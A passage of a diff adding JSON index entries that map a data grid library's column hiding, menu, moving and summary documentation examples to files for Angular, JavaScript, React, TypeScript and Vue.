"guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example3", + "exampleTitle": "Step 2: Show UI indicators", + "docPermalink": "/column-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/vue/example3.vue", + "file": "guides__columns__column-hiding__vue__example3.vue.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example3", + "exampleTitle": "Step 2: Show UI indicators", + "docPermalink": "/column-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/angular/example4.ts", + "file": "guides__columns__column-hiding__angular__example4.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example4", + "exampleTitle": "Step 3: Set up context menu items", + "docPermalink": "/column-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example4.js", + "file": "guides__columns__column-hiding__javascript__example4.js.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example4", + "exampleTitle": "Step 3: Set up context menu items", + "docPermalink": "/column-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/react/example4.tsx", + "file": "guides__columns__column-hiding__react__example4.tsx.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example4", + "exampleTitle": "Step 3: Set up context menu items", + "docPermalink": "/column-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example4.ts", + "file": "guides__columns__column-hiding__javascript__example4.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example4", + "exampleTitle": "Step 3: Set up context menu items", + "docPermalink": "/column-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/vue/example4.vue", + "file": "guides__columns__column-hiding__vue__example4.vue.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example4", + "exampleTitle": "Step 3: Set up context menu items", + "docPermalink": "/column-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/angular/example5.ts", + "file": "guides__columns__column-hiding__angular__example5.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example5", + "exampleTitle": "Step 3: Set up context menu items (2)", + "docPermalink": "/column-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example5.js", + "file": "guides__columns__column-hiding__javascript__example5.js.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example5", + "exampleTitle": "Step 3: Set up context menu items (2)", + "docPermalink": "/column-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/react/example5.tsx", + "file": "guides__columns__column-hiding__react__example5.tsx.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example5", + "exampleTitle": "Step 3: Set up context menu items (2)", + "docPermalink": "/column-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example5.ts", + "file": "guides__columns__column-hiding__javascript__example5.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example5", + "exampleTitle": "Step 3: Set up context menu items (2)", + "docPermalink": "/column-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/vue/example5.vue", + "file": "guides__columns__column-hiding__vue__example5.vue.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example5", + "exampleTitle": "Step 3: Set up context menu items (2)", + "docPermalink": "/column-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/angular/example6.ts", + "file": "guides__columns__column-hiding__angular__example6.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example6", + "exampleTitle": "Step 4: Set up copy and paste behavior", + "docPermalink": "/column-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example6.js", + "file": "guides__columns__column-hiding__javascript__example6.js.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example6", + "exampleTitle": "Step 4: Set up copy and paste behavior", + "docPermalink": "/column-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/react/example6.tsx", + "file": "guides__columns__column-hiding__react__example6.tsx.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example6", + "exampleTitle": "Step 4: Set up copy and paste behavior", + "docPermalink": "/column-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/javascript/example6.ts", + "file": "guides__columns__column-hiding__javascript__example6.ts.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example6", + "exampleTitle": "Step 4: Set up copy and paste behavior", + "docPermalink": "/column-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-hiding/vue/example6.vue", + "file": "guides__columns__column-hiding__vue__example6.vue.json", + "breadcrumb": [ + "Columns", + "Column hiding" + ], + "guide": "guides/columns/column-hiding/column-hiding.md", + "guideTitle": "Column hiding", + "exampleId": "example6", + "exampleTitle": "Step 4: Set up copy and paste behavior", + "docPermalink": "/column-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-menu/angular/example1.ts", + "file": "guides__columns__column-menu__angular__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column menu" + ], + "guide": "guides/columns/column-menu/column-menu.md", + "guideTitle": "Column menu", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-menu", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-menu/javascript/example1.js", + "file": "guides__columns__column-menu__javascript__example1.js.json", + "breadcrumb": [ + "Columns", + "Column menu" + ], + "guide": "guides/columns/column-menu/column-menu.md", + "guideTitle": "Column menu", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-menu", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-menu/react/example1.tsx", + "file": "guides__columns__column-menu__react__example1.tsx.json", + "breadcrumb": [ + "Columns", + "Column menu" + ], + "guide": "guides/columns/column-menu/column-menu.md", + "guideTitle": "Column menu", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-menu", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-menu/javascript/example1.ts", + "file": "guides__columns__column-menu__javascript__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column menu" + ], + "guide": "guides/columns/column-menu/column-menu.md", + "guideTitle": "Column menu", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-menu", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-menu/vue/example1.vue", + "file": "guides__columns__column-menu__vue__example1.vue.json", + "breadcrumb": [ + "Columns", + "Column menu" + ], + "guide": "guides/columns/column-menu/column-menu.md", + "guideTitle": "Column menu", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-menu", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-menu/angular/example2.ts", + "file": "guides__columns__column-menu__angular__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column menu" + ], + "guide": "guides/columns/column-menu/column-menu.md", + "guideTitle": "Column menu", + "exampleId": "example2", + "exampleTitle": "Plugin configuration", + "docPermalink": "/column-menu", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-menu/javascript/example2.js", + "file": "guides__columns__column-menu__javascript__example2.js.json", + "breadcrumb": [ + "Columns", + "Column menu" + ], + "guide": "guides/columns/column-menu/column-menu.md", + "guideTitle": "Column menu", + "exampleId": "example2", + "exampleTitle": "Plugin configuration", + "docPermalink": "/column-menu", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-menu/react/example2.tsx", + "file": "guides__columns__column-menu__react__example2.tsx.json", + "breadcrumb": [ + "Columns", + "Column menu" + ], + "guide": "guides/columns/column-menu/column-menu.md", + "guideTitle": "Column menu", + "exampleId": "example2", + "exampleTitle": "Plugin configuration", + "docPermalink": "/column-menu", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-menu/javascript/example2.ts", + "file": "guides__columns__column-menu__javascript__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column menu" + ], + "guide": "guides/columns/column-menu/column-menu.md", + "guideTitle": "Column menu", + "exampleId": "example2", + "exampleTitle": "Plugin configuration", + "docPermalink": "/column-menu", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-menu/vue/example2.vue", + "file": "guides__columns__column-menu__vue__example2.vue.json", + "breadcrumb": [ + "Columns", + "Column menu" + ], + "guide": "guides/columns/column-menu/column-menu.md", + "guideTitle": "Column menu", + "exampleId": "example2", + "exampleTitle": "Plugin configuration", + "docPermalink": "/column-menu", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/angular/example1.ts", + "file": "guides__columns__column-moving__angular__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-moving", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/javascript/example1.js", + "file": "guides__columns__column-moving__javascript__example1.js.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-moving", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/react/example1.tsx", + "file": "guides__columns__column-moving__react__example1.tsx.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-moving", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/javascript/example1.ts", + "file": "guides__columns__column-moving__javascript__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-moving", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/vue/example1.vue", + "file": "guides__columns__column-moving__vue__example1.vue.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-moving", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/angular/example2.ts", + "file": "guides__columns__column-moving__angular__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example2", + "exampleTitle": "Move column headers", + "docPermalink": "/column-moving", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/javascript/example2.js", + "file": "guides__columns__column-moving__javascript__example2.js.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example2", + "exampleTitle": "Move column headers", + "docPermalink": "/column-moving", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/react/example2.tsx", + "file": "guides__columns__column-moving__react__example2.tsx.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example2", + "exampleTitle": "Move column headers", + "docPermalink": "/column-moving", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/javascript/example2.ts", + "file": "guides__columns__column-moving__javascript__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example2", + "exampleTitle": "Move column headers", + "docPermalink": "/column-moving", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/vue/example2.vue", + "file": "guides__columns__column-moving__vue__example2.vue.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example2", + "exampleTitle": "Move column headers", + "docPermalink": "/column-moving", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/angular/example3.ts", + "file": "guides__columns__column-moving__angular__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example3", + "exampleTitle": "Move column headers (2)", + "docPermalink": "/column-moving", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/javascript/example3.js", + "file": "guides__columns__column-moving__javascript__example3.js.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example3", + "exampleTitle": "Move column headers (2)", + "docPermalink": "/column-moving", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/react/example3.tsx", + "file": "guides__columns__column-moving__react__example3.tsx.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example3", + "exampleTitle": "Move column headers (2)", + "docPermalink": "/column-moving", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/javascript/example3.ts", + "file": "guides__columns__column-moving__javascript__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example3", + "exampleTitle": "Move column headers (2)", + "docPermalink": "/column-moving", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-moving/vue/example3.vue", + "file": "guides__columns__column-moving__vue__example3.vue.json", + "breadcrumb": [ + "Columns", + "Column moving" + ], + "guide": "guides/columns/column-moving/column-moving.md", + "guideTitle": "Column moving", + "exampleId": "example3", + "exampleTitle": "Move column headers (2)", + "docPermalink": "/column-moving", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example10.js", + "file": "guides__columns__column-summary__javascript__example10.js.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example10", + "exampleTitle": "Force numeric values", + "docPermalink": "/column-summary", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/react/example10.tsx", + "file": "guides__columns__column-summary__react__example10.tsx.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example10", + "exampleTitle": "Force numeric values", + "docPermalink": "/column-summary", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example10.ts", + "file": "guides__columns__column-summary__javascript__example10.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example10", + "exampleTitle": "Force numeric values", + "docPermalink": "/column-summary", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/vue/example10.vue", + "file": "guides__columns__column-summary__vue__example10.vue.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example10", + "exampleTitle": "Force numeric values", + "docPermalink": "/column-summary", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example11.js", + "file": "guides__columns__column-summary__javascript__example11.js.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example11", + "exampleTitle": "Throw data type errors", + "docPermalink": "/column-summary", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/react/example11.tsx", + "file": "guides__columns__column-summary__react__example11.tsx.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example11", + "exampleTitle": "Throw data type errors", + "docPermalink": "/column-summary", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example11.ts", + "file": "guides__columns__column-summary__javascript__example11.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example11", + "exampleTitle": "Throw data type errors", + "docPermalink": "/column-summary", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/vue/example11.vue", + "file": "guides__columns__column-summary__vue__example11.vue.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example11", + "exampleTitle": "Throw data type errors", + "docPermalink": "/column-summary", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example12.js", + "file": "guides__columns__column-summary__javascript__example12.js.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example12", + "exampleTitle": "Round a column summary result", + "docPermalink": "/column-summary", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/react/example12.tsx", + "file": "guides__columns__column-summary__react__example12.tsx.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example12", + "exampleTitle": "Round a column summary result", + "docPermalink": "/column-summary", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example12.ts", + "file": "guides__columns__column-summary__javascript__example12.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example12", + "exampleTitle": "Round a column summary result", + "docPermalink": "/column-summary", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/vue/example12.vue", + "file": "guides__columns__column-summary__vue__example12.vue.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example12", + "exampleTitle": "Round a column summary result", + "docPermalink": "/column-summary", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/angular/example1.ts", + "file": "guides__columns__column-summary__angular__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-summary", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example1.js", + "file": "guides__columns__column-summary__javascript__example1.js.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-summary", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/react/example1.tsx", + "file": "guides__columns__column-summary__react__example1.tsx.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-summary", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example1.ts", + "file": "guides__columns__column-summary__javascript__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-summary", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/vue/example1.vue", + "file": "guides__columns__column-summary__vue__example1.vue.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-summary", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/angular/example2.ts", + "file": "guides__columns__column-summary__angular__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example2", + "exampleTitle": "Step 5: Make room for the destination cell", + "docPermalink": "/column-summary", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example2.js", + "file": "guides__columns__column-summary__javascript__example2.js.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example2", + "exampleTitle": "Step 5: Make room for the destination cell", + "docPermalink": "/column-summary", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/react/example2.tsx", + "file": "guides__columns__column-summary__react__example2.tsx.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example2", + "exampleTitle": "Step 5: Make room for the destination cell", + "docPermalink": "/column-summary", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example2.ts", + "file": "guides__columns__column-summary__javascript__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example2", + "exampleTitle": "Step 5: Make room for the destination cell", + "docPermalink": "/column-summary", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/vue/example2.vue", + "file": "guides__columns__column-summary__vue__example2.vue.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example2", + "exampleTitle": "Step 5: Make room for the destination cell", + "docPermalink": "/column-summary", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/angular/example3.ts", + "file": "guides__columns__column-summary__angular__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example3", + "exampleTitle": "Set up column summaries, using a function (2)", + "docPermalink": "/column-summary", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/angular/example4.ts", + "file": "guides__columns__column-summary__angular__example4.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example4", + "exampleTitle": "Set up column summaries, using a function (4)", + "docPermalink": "/column-summary", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/angular/example5.ts", + "file": "guides__columns__column-summary__angular__example5.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example5", + "exampleTitle": "Implement a custom summary function (2)", + "docPermalink": "/column-summary", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/angular/example6.ts", + "file": "guides__columns__column-summary__angular__example6.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example6", + "exampleTitle": "Round a column summary result (2)", + "docPermalink": "/column-summary", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/angular/example7.ts", + "file": "guides__columns__column-summary__angular__example7.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example7", + "exampleTitle": "Set up column summaries, using a function", + "docPermalink": "/column-summary", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example7.js", + "file": "guides__columns__column-summary__javascript__example7.js.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example7", + "exampleTitle": "Set up column summaries, using a function", + "docPermalink": "/column-summary", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/react/example7.tsx", + "file": "guides__columns__column-summary__react__example7.tsx.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example7", + "exampleTitle": "Set up column summaries, using a function", + "docPermalink": "/column-summary", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example7.ts", + "file": "guides__columns__column-summary__javascript__example7.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example7", + "exampleTitle": "Set up column summaries, using a function", + "docPermalink": "/column-summary", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/vue/example7.vue", + "file": "guides__columns__column-summary__vue__example7.vue.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example7", + "exampleTitle": "Set up column summaries, using a function", + "docPermalink": "/column-summary", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/angular/example8.ts", + "file": "guides__columns__column-summary__angular__example8.ts.json", + "breadcrumb": [ + 